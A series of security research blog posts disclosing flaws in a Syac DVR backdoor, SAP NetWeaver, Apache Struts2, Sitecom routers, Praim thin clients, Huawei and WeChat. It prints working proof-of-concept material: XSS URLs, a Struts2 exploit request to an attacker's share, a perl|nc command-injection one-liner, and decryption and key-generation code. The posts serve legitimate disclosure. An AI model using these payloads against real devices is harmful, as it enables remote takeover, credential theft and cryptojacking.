Backdoor access to Techboard/Syac devices

2 comments
Authors: Roberto Paleari (@rpaleari), and Luca Giancane

During a security assessment on one of our customers, we had the opportunity to analyze a device by Techboard/Syac, a manufacturer of digital video recorders (DVR) and network cameras. In particular, our analysis focused on a device of the DigiEye product line. The assessment led to the identification of a "backdoor" service, originally introduced by the device manufacturer for testing and support purposes, that could be abused by remote attackers to execute arbitrary commands on the device, with administrative privileges.

Vulnerability overview

Affected devices include a backdoor service listening on TCP port 7339. After a preliminary "authentication" phase, clients can leverage this service to execute arbitrary commands on the underlying Linux system, with root privileges. To the best of our knowledge, end-users are not allowed to disable the backdoor service, nor to control the "authentication" mechanism.

Vulnerable devices are still widely deployed on the Internet, thus we won't release the full details on the backdoor communication protocol. Instead, we just document in a following paragraph the initial "protocol handshake", in order to allow Techboard/Syac customers to identify vulnerable devices on their networks.

As a "proof-of-concept", the following figure shows the Python script we developed to complete the challenge-response authentication with the device and submit the commands to be executed (obviously, source and destination IP addresses have been obscured). As can be seed from the figure, the name of the process associated with port tcp/7339 is "backd", possibly a shorthand for "backdoor" (see the red box).

"Proof-of-concept" of the RCE backdoor on a Syac DigiEye device

A glimpse at the "authentication" protocol

Strictly speaking, the protocol handshake works as follows:
  1. The client connects to port tcp/7339 of the vulnerable device and sends the string "KNOCK-KNOCK-ANYONETHERE?", terminated with a NULL byte.
  2. The server replies with a 12-byte response. First 8 bytes are a timestamp, while last 4 bytes are a "magic number" equal to 0x000aae60.
  3. Follows a challenge-response procedure that uses the timestamp provided by the server at step 2. Details of this step won't be disclosed.
After authentication has been completed, the client can send arbitrary commands which are immediately executed by the device with administrative privileges.

To allow customers to identify vulnerable devices on their network, we provide a Nmap NSE script, available for download here. Usage is very simple, as shown in the following screenshot.

Nmap NSE script to detect vulnerable devices (target IP as been obscured)

Conclusions

We contacted Techboard/Syac about this vulnerability on April 2nd, 2014 and provided them with the technical details of the issue we found. The device vendor promptly replied back to our e-mails and, on April 9th, they confirmed a patched firmware version was going to be released to their customers. At the time of writing, the patched firmware has not been checked by Emaze.

SAP Multiple Vulnerabilities

0 comments
Advisory Information 
Title: SAP Multiple Vulnerabilities
Release date: 28/05/2014
Last update: 20/06/2014
Credits: Enrico Milanese, Emaze Networks S.p.A.

Vulnerability Information 
Class: Cross Site Scripting, Arbitrary Redirect
CVE: 2014-4159, 2014-4160, 2014-4161
CVSS: 5.8

Affected Software 
  • SAP NetWeaver Business Client
  • SAP Supplier Relationship Management Release 673 SP0

Vulnerability Details
The NWBC (NetWeaver Business Client) uses some test/debug nodes (related to development functionalities) that should be disabled in production systems; the node testcanvas is vulnerable to multiple Cross Site Scripting vulnerabilities on title and sap-accessibility parameters.

Proof of concept:

http://HOST/sap/bc/nwbc/~testcanvas/?title=<XSS1>&flags=est&roundtrips=1&sap-accessibility=<XSS2>



The SAP SRM (Supplier Relationship Management) component exposes a test/debug functionality related to SSO (Single Sign On) process; the resource umTestSSO.jsp fails to handle user input before using it into a dynamic generated content. 
The vulnerability could be used by an attacker to load any arbitrary remote html page inside the SAP SRM portal or conduct Cross Site Scripting attacks to SAP SRM portal's users.

Proof of concepts:

http://HOST/srm/la/umTestSSO.jsp?url=http://www.emaze.net/

http://HOST/srm/la/umTestSSO.jsp?url=";alert(document.cookie)//

Remediation
Apply the security patches provided by the vendor:

Attack campaign targeting Apache Struts2 vulnerability

0 comments
Authors: Roberto Paleari (@rpaleari), Claudio Moletta (@redr2e) and Luca Giancane

At the beginning of March, a security advisory was published about two high-impact issues affecting Apache Struts2, a widely-used framework to create Java web applications. Despite they can be exploited to cause either a DoS (CVE-2014-0050) or to gain remote code execution on the affected server (CVE-2014-0094), these vulnerabilities have not raised much interest until a proof-of-concept exploit was published on a Chinese blog in April, followed by a more detailed write-up describing the technical details of the attack. In addition, on April 24th, researchers from Vulnhunt showed the inefficacy of the countermeasures initially proposed as a workaround to address the bugs.

As usually happens in these cases, after the publication of the PoC attackers started to mass-scan the Internet, searching for vulnerable servers. As a consequence, in these days we observed automated attacks trying to exploit CVE-2014-0094. All the attacks we observed so far are originated from a single source IP, namely 162.213.24.40.

Anatomy of the attack

The attacks we observed start with a single HTTP GET request to rebase the application to a remote directory, using a UNC path that points to a SMB shared folder on the attacker's machine. The request logged by the target web server is the following:

/toplel.action?class['classLoader']['resources']['dirContext']['docBase']=//162.213.24.40/toplel

By listing SMB services available on 162.213.24.40, we can confirm the presence of a share named "toplel", as shown in the figure below.

SMB share toplel, on the attacker's host
The toplel share accepts anonymous connections and contains several JSP pages, all containing the following HTML fragment:

<HTML>
<BODY>
gayfgt 696969
</BODY>
</HTML>

No active nor malicious code was found in any of these JSPs. Thus, our hypothesis is that some of these pages are invoked by the attacker to verify if the exploit succeeded, by checking the page returned actually matches the expected content. Unfortunately, at the time of writing we were not able to record any additional request sent by the attacker, beyond the initial one that triggers the Apache Struts2 vulnerability.

In addition to the anonymous SMB share, the attacker's machine exposes a web server configured to enable a directory listing on the root directory. This allowed us to inspect its contents and continue our analysis.

Directory listing on http://162.213.24.40/

We speculate the goal of the attacker is to leverage CVE-2014-0094 to eventually execute some of the binaries hosted on this server, as discussed in the next section. In addition to these malicious application, the server also hosts some warez and even a Torrent client with a web-based interface.

Warez folder on the attacker's host

Web-based Torrent client

Despite we still miss the joining link between the initial attacker's request and the request that drops and installs the malicious payload, we speculate the aim of the attacker is to execute one of two possible malicious applications, depending on the OS running on the compromised host:
  • besh, a shell script for Linux hosts.
  • toplel.exe, a binary application targeted for Windows machines.
The behavior of both the Linux and Windows payloads is described in the next paragraphs.

Linux payload

Analysis of the Linux payload (the script named "besh") is trivial: after collecting some information about the compromised machine, the script downloads and executes two additional binaries, yolo-x64 and yolo-x86 binaries; as you can probably imagine, these are 64-bit and 32-bit ELF applications, respectively.

Dropped binaries are a repackaged version of xptMiner, an open-source coin miner. As can be seen from the script contents, the application is configured to connect to http://128.65.210.244:8080, with username "Seegee.lin" and password "1"; at the time of writing, this URL was still active. On a compromised machine, the coin miner will be saved to /tmp/.HOLDMYWEEVE. In addition, the script also takes care of terminating any instance of the stratum process, another open-source coin miner.

Contents of the "besh" shell script

Windows payload

The goal of the Windows payload is the same as the Linux version, i.e., to install xptMiner on the victim's host. In this case, the dropper (ok.exe, MD5 hash 1467e41283f01c0f80568dd4b60b2484) is slightly obfuscated using very standard techniques: strings are encoded in base64 form and library functions are resolved starting from hard-coded hash values.

Upon execution, the binary checks if it is running on a 64-bit Windows system by leveraging the IsWow64Process() API. According to the result, either the yolo.exe (cb6799b63dbf3ddd1e7e0e05e579fe89) or swog.exe (5ace2dbc44e19d16bff7ce277bcdde2f) binaries are downloaded.

Generation of the HTTP request to download the second stage

As with the Linux version, dropped binaries are actually the xptMiner miner, that is then saved to local path %APPDATA%\ok.exe and finally executed with a command-line similar to the following:

%APPDATA%\ok.exe -o http://128.65.210.245:8080 -u Seegee.toplel -p 1

Conclusions

In this post we briefly described an attack currently running "in the wild", which exploits Apache Struts2 vulnerability CVE-2014-0094 to execute arbitrary commands on a vulnerable web server. Apparently, the goal of the attacker is to drop an executable that eventually installs a coin miner.

 

Sitecom firmware encryption and wireless keys

1 comments
Authors: Roberto Paleari (@rpaleari) and Alessandro Di Pinto (@adipinto)

Last year we blogged about multiple security issues affecting Sitecom device models WLM-3500 and WLM-5500. One of these issues allowed attackers to obtain the default wireless passphrase of a vulnerable device in a "single shot", as the wireless key was derived from the device MAC address using an algorithm included inside the device firmware. This is a very serious issue, as many users never change the default Wi-Fi passphrase and keep using the one set by the device manufacturer.

We recently had the opportunity to analyze some other Sitecom routers, more precisely models WLR-4000 and WLR-4004. We were first attracted by this models due to the introduction of some mechanism to encrypt the firmware image distributed through Sitecom web site. To make a long story short, we soon realized the encryption layer could be easily circumvented; in addition, these routers were affected by the very same issue concerning the wireless passphrase: also for these models the key is derived from the MAC address, thus attackers can easily generate the default wireless key and access the LAN of a victim user.

Analysis of the firmware layout

In the following we briefly describe the analysis of the WLR-4004 firmware image (v1.23), but WLR-4000 differs only in minor details.

As a first step, to analyze an embedded device we typically try to download the firmware (when available) and inspect its contents. With WLR-4000/WLR-4004 devices we were lucky enough to find the firmware image on Sitecom web site. However, a preliminary analysis of the firmware  using binwalk provided no information about its internal structure:

$ binwalk 4004-FW-V1-23.bin
DECIMAL       HEX           DESCRIPTION
---------------------------------------------
$



This can be a symptom of a weird image format or, more often, an encrypted/obfuscated firmware. After we gave a quick look at the file entropy, we started to opt for the latter hypothesis. As an example, consider the low-entropy areas around 1.4MB and at the very end of the file:

File entropy for the WLR-4004 firmware image

A closer look to these regions provided some clues about the actual structure of the firmware image. As can be seen from the hex dump below, the final low-entropy area is due to the very same 8-byte sequence (88 44 a2 d1 68 b4 5a 2d, highlighted in red) that repeats until the end of the file.

$ dd if=4004-FW-V1-23.bin bs=$((0x0339720)) skip=1 | xxd | head
0000000: 00c6 ece0 c8f2 402e bdaa db83 d91d d987  ......@.........
0000010: b47d 4da1 987d 0f0d d64f 901a a6ae 056a  .}M..}...O.....j
0000020: 6d68 0219 3648 7980 4073 c849 ee04 5a2d  mh..6Hy.@s.I..Z-
0000030: ef9c ae4f 68b5 f52f 104c a2d1 1d08 620a  ...Oh../.L....b.
0000040: b674 af5a 6ab4 5a2d 8845 fb8b fe71 472d  .t.Zj.Z-.E...qG-
0000050: 8844 a2d1 6c34 5a2d 8844 5617 75b4 5a2d  .D..l4Z-.DV.u.Z-
0000060: 8844 a2d1 68b4 5a2d 8844 a2d1 68b4 5a2d  .D..h.Z-.D..h.Z-
0000070: 8844 a2d1 68b4 5a2d 8844 a2d1 68b4 5a2d  .D..h.Z-.D..h.Z-
0000080: 8844 a2d1 68b4 5a2d 8844 a2d1 68b4 5a2d  .D..h.Z-.D..h.Z-
0000090: 8844 a2d1 68b4 5a2d 8844 a2d1 68b4 5a2d  .D..h.Z-.D..h.Z-
...

In an unencrypted firmware, the final bytes of the image are often used for padding and are thus initialized to zero (or to 0xff). But assuming our Sitecom firmware has been encrypted using some standard scheme, which algorithm would produce such a recurring pattern?

Our first attempt was to try with a basic XOR encryption, assuming a 8-byte key equal to byte sequence we observed before. The following Python snippet reads the encrypted image from standard input, performs the XOR and writes the result to standard output.

Firmware decryption routine for WLM-4004 images

After decrypting the firmware image we tried again to use binwalk to analyze the firmware. The results confirmed our hypothesis about a XOR algorithm being used to cipher the image: this time binwalk identified all the main components of a standard firmware image, including the kernel image (at offset 0xc0) and the root file system (offset 0x15d080).

$ cat 4004-FW-V1-23.bin | python decrypt.py > decrypted.bin
$ binwalk decrypted.bin

DECIMAL       HEX           DESCRIPTION
----------------------------------------------------------------------------------------
128           0x80          uImage header, header size: 64 bytes, header CRC: 0xAAB37DFB, created: Wed Jan 15 06:15:01 2014, ...
192           0xC0          LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4240232 bytes
1429632       0x15D080      Squashfs filesystem, little endian, version 4.0, compression:  size: 1951490 bytes,  131 inodes, blocksize: 131072 bytes, created: Wed Jan 15 06:14:03 2014

 

Generation of the wireless key

We were finally able to analyze the contents of the firmware image (and, in particular, of the root file system) to search for any evidence of the wireless key generation algorithm. We were soon attracted by a rather "suspect" function exported by a shared library named libdbox.so; the function itself was named generate_wpa2_key_based_on_mac(). And yes, as you can probably imagine this is exactly the function we were looking for :-)

Function generate_wpa2_key_based_on_mac(), exported by libdbox.so

Similarly to the algorithm we found in WLM devices last year, the scheme used in WLR routers is also based on "scrambling" the MAC address and apply some character substitutions leveraging a hard-coded charset. The WLR-4000 and WLR-4004 only differ in the actual charset being used. More in detail, the algorithm is sketched out in the next figure.

A fragment of the key generation algorithm

As usual, we wrote a Python script that implements the attack (available here). The script receives in input the MAC address of the vulnerable Wi-Fi network and the router model name ("4000" for WLR-4000 and "4004" for WLR-4004) and generates the corresponding Wi-Fi key. A usage example is shown below.

$ python wlr-genpsk.py -m 4000 aa:bb:cc:dd:ee:ff
MAC:  aa:bb:cc:dd:ee:ff
SSID: SitecomDDEEFF
WPA:  ND68V8QLC6VS


$ python wlr-genpsk.py -m 4004 aa:bb:cc:dd:ee:ff
MAC:  aa:bb:cc:dd:ee:ff
SSID: SitecomDDEEFF
WPA:  C3N8VQEA2NVG 

Conclusions

Is not so uncommon for embedded device makers to rely on some obscure, and often custom-made, algorithms in order to generate secrets (e.g., Wi-Fi keys, admin passwords) starting from public details (e.g., MAC addresses, wireless SSID). Such approaches are quite handy for testing, debugging and manufacturing purposes. Even if it could be a very bad security practice, as long as the algorithm is sufficiently robust and is not leaked, no big issues arise.

However, in this blog post we shown how things can change when developers "forget" to remove an implementation of the algorithm from the final version of the device firmware: in these cases, it is just a matter of time until the code is found, analyzed and a key generator is developed, even when the device firmware image is "protected" by some obfuscation or encryption scheme.

Remote code execution on Praim thin client devices

0 comments
Author: Roberto Paleari (@rpaleari), Aristide Fattori (@joystick), and Ruggero Strabla (@rstrabla)

During a recent security assessment we had the opportunity to analyze a thin client device manufactured by Praim, an Italian company that, according to their web site, has "nearly  1 million user installations" of its "Thin & Zero solutions". In detail, our assessment involved some ThinOX I9020 devices, updated with the latest firmware version available.

We noticed our target device was exposing an UDP service listening on port 1680. This service is available in the default configuration and implemented by a binary application named "browsed".

More in detail, "browsed" is a complex application used for the centralized management of the thin client, which, among the other things, also includes a FTP service to upgrade the device firmware. A closer look to the binary application revealed a command-injection vulnerability that can be trivially exploited by an attacker located on the same LAN where the thin client is connected.

Technical details

Data received by "browsed" on port UDP/1680 is eventually fed to a system() library call, without being properly sanitized before. This situation is testified by the code snippet in the figure below, where the program builds a command-line string using the payload of the UDP datagram. The only constraint is that the check at program address 0x00011904 must be satisfied in order for the system() call to be reached; this can be done by setting a specific input byte (at offset 70 of the UDP datagram) to four.


Command-injection vulnerability

As a proof-of-concept, the following command exploits this issue and executes the "reboot" command on the thin client, immediately rebooting the device:

perl -e 'print "\";reboot;\"" . "A"x59 . "\x04" . "B"x63' | nc -u 1.2.3.4 1680 

Obviously, in the command above "1.2.3.4" must be replaced with the actual IP address of the vulnerable ThinOX device.

The device already includes the netcat utility, so gaining a remote shell on the thin client is just a matter of changing the above command-line to leverage nc to connect-back to the attacker's IP and spawn a shell, as shown in the picture below (astute readers will notice the connect-back shell originates from 127.0.0.1; the reason is that, for this test, we executed the vulnerable application inside an emulated environment).

Gaining a connect-back shell from the Praim ThinOX device

Disclosure

We notified Praim about this vulnerability on February 24th, 2014. The vendor promptly replied and started to work on the issue. However, some weeks later (on March 14th) Praim informed us that they were aware of this issue but, according to them, "no sensitive data is stored inside the thin client", so they are not planning to release a fix for this issue anytime soon. We do not fully agree with this statement, as attackers could still abuse a compromised thin client to intercept sensitive data, e.g., by installing a key logger on the device and capturing authentication credentials for remote hosts as soon as they are typed in by the user, even if not stored persistently inside the thin client.

According to Praim, the vulnerability will probably be addresses in a future firmware version (still under development) that will replace the UDP service ("browsed") with a completely different management interface.


Yet another Huawei weak password encryption scheme

5 comments
Author: Roberto Paleari (@rpaleari)

Some months ago, we blogged about a weak password encryption scheme used by several Huawei products. In a nutshell, this scheme obfuscates and encrypts the password using DES with a hard-coded key.

After our notification, Huawei published a security advisory describing this issue. According to their advisory, Huawei solution was to "abandon DES algorithm and adopt AES256 algorithm". We were quite intrigued by this statement, also because the problem was not the adoption of DES per se, but the use of a hard-coded encryption key and no password salting. Thus, we decided to investigate the new AES256 scheme.

Unfortunately, we soon realized the new scheme is affected by security weaknesses very similar to those identified in the previous encryption scheme. Briefly, passwords encrypted with the new scheme can be recognized by the "%$%$" header and trailer. Decryption works as follows:
  1. Leading and trailing occurrences of string "%$%$" are removed.
  2. The ASCII encrypted text is translated into a binary string, using a custom algorithm.
  3. An AES key is derived by changing few bytes of a hard-coded password with a password salt (also stored with the encrypted text).
  4. AES 256 is applied, using the derived AES key and a hard-coded IV.
A Python procedure that implements this decryption algorithm is available here. Upon termination, procedure decrypt_password() returns the clear-text password.

We notified Huawei about this new weak encryption key on February 11th, 2013. As a countermeasure, we suggested to store only the cryptographic hash value of sensitive data (e.g., passwords and SNMP communities).

To the best of our knowledge, the only sensitive value currently stored using a hash is the console password. In this case, the device pads with NULLs the clear-text password to reach a length of 16 bytes, then computes a SHA-256 hash over the resulting string. Finally, the hash is encrypted using the custom "AES256" scheme described above. In all the other cases (e.g., user passwords and SNMP communities) the device simply encrypts the clear-text password using the "AES256" scheme.

A look at WeChat security

20 comments
Author: Roberto Paleari (@rpaleari)

TL;DR: Any (unprivileged) application installed on an Android phone can instruct WeChat to send an hash of your password to an external, attacker-controlled server. If you are a WeChat user, it is probably worth reading the rest of this post :-)

Introduction

Nowadays, instant messaging (IM) has become one of the main applications of mobile phones, with plenty of "apps" available and literally billions of messages exchanged every day. With the widespread diffusion of mobile Internet traffic plans, IM applications are rapidly replacing other forms of mobile communication, such as text messages and, in some situations, even e-mails.

As conversations are rapidly converging to IM applications, it is natural to start asking how secure this communication channel actually is, and if users can really trust IM apps and their back-end infrastructure. We decided to pick one of these applications and look "under the hood", in order to see how the developers tried to ensure the confidentiality of in-transit communications.

After a quick survey of available IM applications, we decided to start with WeChat, a popular mobile IM platform developed by the China-based Tencent company. The choice of this specific application was quite arbitrary and mainly based on the fact that, in this period, WeChat is publicized a lot on the Italian TV.

WeChat is a feature-rich and sophisticated mobile application, which allows users to communicate via text messages, voice calls, to share photos and videos, and much more. The app is available for several mobile platforms, but we focused on the Android version only: according to Google Play, WeChat for Android alone has more than 50 million downloads. Most of the issues discussed in this post should affect Android versions of WeChat up to 4.5.1. On August 5th, 2013, Tencent released version 5.0, which introduced some major changes; we still have to analyze this version in detail.

A glimpse at the network traffic

The most obvious and easy thing to start with was an analysis of the network traffic generated by the application during normal usage. At this aim, we instructed our Android emulator to save all network traffic to file, we installed WeChat, we logged in and sent a couple of text messages. Part of the traffic generated by WeChat is shown below.


As can be seen from the figure, most of the traffic travels on TCP port 8080, typically reserved for HTTP connections (previous versions of WeChat were using the standard HTTPS port, tcp/443). However, at a first sight, the payload of these packets looks quite strange; indeed, Wireshark is not even able to dissect the HTTP payload.

Looking more closely, we noticed WeChat developers implemented a custom communication protocol: we were able to recognize an initial packet header, right at the beginning of the payload, that confirms these are actually not HTTP/HTTPS sessions. More precisely, we identified the following header fields:
  • Packet length (4 bytes)
  • Header length (2 bytes, always equal to 0x0010)
  • Protocol version (2 bytes, always equal to 0x0001)
  • Opcode (4 bytes, specifies the actual command encapsulated in this packet)
  • Sequence number (4 bytes)

This initial header is followed by an opcode-dependent message body, usually in encrypted form. Briefly, the first message is encrypted by the application using RSA, with an hard-coded public key; next messages are encrypted in AES. In WeChat versions up to 4.3.5 we identified several vulnerabilities which allow an attacker who can intercept the traffic to quickly decrypt the message body, thus being able to access the messages sent and received by the user. More recent versions seems to be immune to these attacks, but we still have to perform a more in-depth analysis of the encryption scheme implemented in the latest WeChat releases.

Debugging

Here we come to the interesting part :-) WeChat includes an undocumented debugging infrastructure, probably used by developers for testing purposes. However, this infrastructure can also be abused by attackers to steal sensitive information concerning a WeChat user account.

In detail, WeChat reads debug settings from an Android ContentProvider, identified by URI "com.tencent.mm.coolassist.debugprovider/config". This ContentProvider is used by the application as a centralized source of debug configuration parameters, and can be employed to specify which debug messages should be logged to the Android console (adb logcat), to save log messages to the sdcard, and even configure a remote logger.

From a security perspective, the remote logging feature is surely the most interesting one. By exploiting this functionality, an attacker can develop a malicious application which exposes the aforementioned ContentProvider and, through specially-crafted debug settings, makes WeChat to send logs to an external, attacker-controlled, server. Such a malicious application would not require any special Android permission.

It is worth considering that logged messages disclose sensitive information about the users, including the user ID, password hash and other details. As an example, here is an excerpt from a remote log session:

09-09 14:32:51 594 V/MicroMsg.MMBuiltInIP <-- data-blogger-escaped-br="" data-blogger-escaped-dump="" data-blogger-escaped-end="" data-blogger-escaped-mmbuiltinip=""> 09-09 14:32:51 626 D/MicroMsg.AccInfo update session info: session=, uin=-1893467821
09-09 14:32:51 635 I/MicroMsg.AutoAuth sending remote request, network.active=false
09-09 14:32:51 666 I/MicroMsg.AutoAuth.SceneInfoQueue inQueue: netid=0
09-09 14:32:51 691 V/MicroMsg.SDK.SyncTask sync task done, return=0, cost=56(wait=0, run=56)
09-09 14:32:51 783 V/MicroMsg.NetStatWatchDog dkreport status:9999002 nowCount:1 ret:1
09-09 14:32:51 810 D/MicroMsg.AutoAuth account info updated:AccInfo:
|-uin =-1893467821
|-user =ukcd_ao03gex3y2731v
|-session =
|-pass =5f4dcc3b5aa765d61d8327deb882cf99
|-pass2 =5f4dcc3b5aa765d61d8327deb882cf99
`-cookie =(null)
09-09 14:32:51 885 D/MicroMsg.NetStatWatchDog item.toByteArray() :433
09-09 14:32:52 101 D/MicroMsg.GYNet encoding, type=380, key=, time=284
09-09 14:32:52 108 I/MicroMsg.GYNet sendImp reqData.len:866
09-09 14:32:52 114 D/MicroMsg.NetStatusUtil activeNetInfo extra=internet, type=0

As can be seen from these logs, the application forwards to the remote server the user name (ukcd_ao03gex3y2731v), another user identifier (uin, with value -1893467821), and even the user's password hash (5f4dcc3b5aa765d61d8327deb882cf99). It should be noted the hash value is a plain MD5 of the user's password, sent to the server for the authentication. Obviously some parameters in the above logs have been edited to prevent readers from hacking our account but, yes, 5f4dcc3b5aa765d61d8327deb882cf99 is the MD5 for string "password" and this was really our account's password :-)

The next section details the communication protocol used by WeChat to interact with the remote log server.

Remote logging protocol

Remote logging can be enabled by configuring the following debug keys:
  • .com.tencent.mm.debug.log.level = 0
  • .com.tencent.mm.debug.log.mmlog.url.mm.log = <ip1>:<port1>
  • .com.tencent.mm.debug.log.mmlog.url.push.log = <ip2>:<port2>
The first key defines the log level ("0" simply means to log everything), while others are used to set the log server address for the two main WeChat application modules (mm and push).

WeChat developers implemented a trivial key derivation scheme to allow the application and the remote log server to agree on an encryption key to cipher debug logs. In a nutshell, the app reads three ASCII lines from the server and uses these lines to derive a DES key. Before transmitting debug messages, the application encrypts them in DES/ECB using this key.

The key generation function is implemented by the following Python code snippet. Function generatekey() receives in input the three lines sent by the server and returns the corresponding DES key.

import hashlib
 

def mangle(data):
    charset = "0123456789abcdef"
    r = ""
    for c in hashlib.md5(data).digest():
        r += charset[(ord(c) >> 4) & 0xf]
        r += charset[ord(c) & 0xf]
    return r


def generatekey(line0, line1, line2):

    seed = line1[2:]
    seed += str(int(line2[2:]))
    seed += "dfdhgc"
    key = mangle(seed)[7:21]
    return key

We also implemented a buggy "quick & dirty" Python script that listens for incoming connections, sends out three ASCII lines, computes the key and deciphers incoming messages. The script is available here.

As a final note, we would like to point out that the ".com.tencent.mm.debug.log.mmlog.url.* " configuration keys are not supported by the latest version of WeChat (5.0). However, this version still queries the ContentProvider for debug settings and part of the logging functionalities have been moved to a dedicated JNI library. We plan to investigate these new features in the future, so at the moment we cannot exclude that the remote logging mechanism has simply been moved elsewhere.

Local database encryption

WeChat locally stores application data in an encrypted SQLite database named "EnMicroMsg.db". This database is located in the "MicroMsg" subfolder inside the application's data directory (typically something like "/data/data/com.tencent.mm").

The database is encrypted using SQLCipher, an open source extension for SQLite that provides full database encryption. The encryption password is derived from the "uin" parameter (see previous sections) combined with the device identifier through a custom function. More precisely, the key generation function leverages the mangle() function shown in the previous Python snippet. The actual database encryption key can be generated through the following pseudo-code:

password = mangle(deviceid + uin)[:7]

Here deviceid is the value returned by the Android API function TelephonyManager.getDeviceId(). Follows a sample SQLCipher console session that demonstrate how the EnMicroMsg.db database can be decrypted.

$ sqlcipher EnMicroMsg.db
sqlite> PRAGMA key = 'b60c8e4';
sqlite> PRAGMA cipher_use_hmac = OFF;
sqlite> .schema
CREATE TABLE conversation (unReadCount INTEGER, status INT, ...
CREATE TABLE bottleconversation (unReadCount INTEGER, status INT, ...
CREATE TABLE tcontact (username text PRIMARY KEY, extupdateseq long, ...
...

It is also worth pointing out that, as the key generation algorithm truncates the password to 7 hex characters, it would be not so difficult for motivated attackers who are able to get the encrypted database to brute force the key, even without knowing the uin or the device identifier.

Conclusions

In this post we discussed some security weaknesses that affect Android versions of WeChat up to 4.5.1 (and possibly others). We tried to contact developers to notify our findings, but with no luck: we wrote an e-mail to Tencent technical support both on August 30th and on September 3th, but we got no reply. With the recent widespread diffusion of mobile instant messaging, app developers should take security into more serious considerations, as their application will probably rapidly become an attractive target for attackers.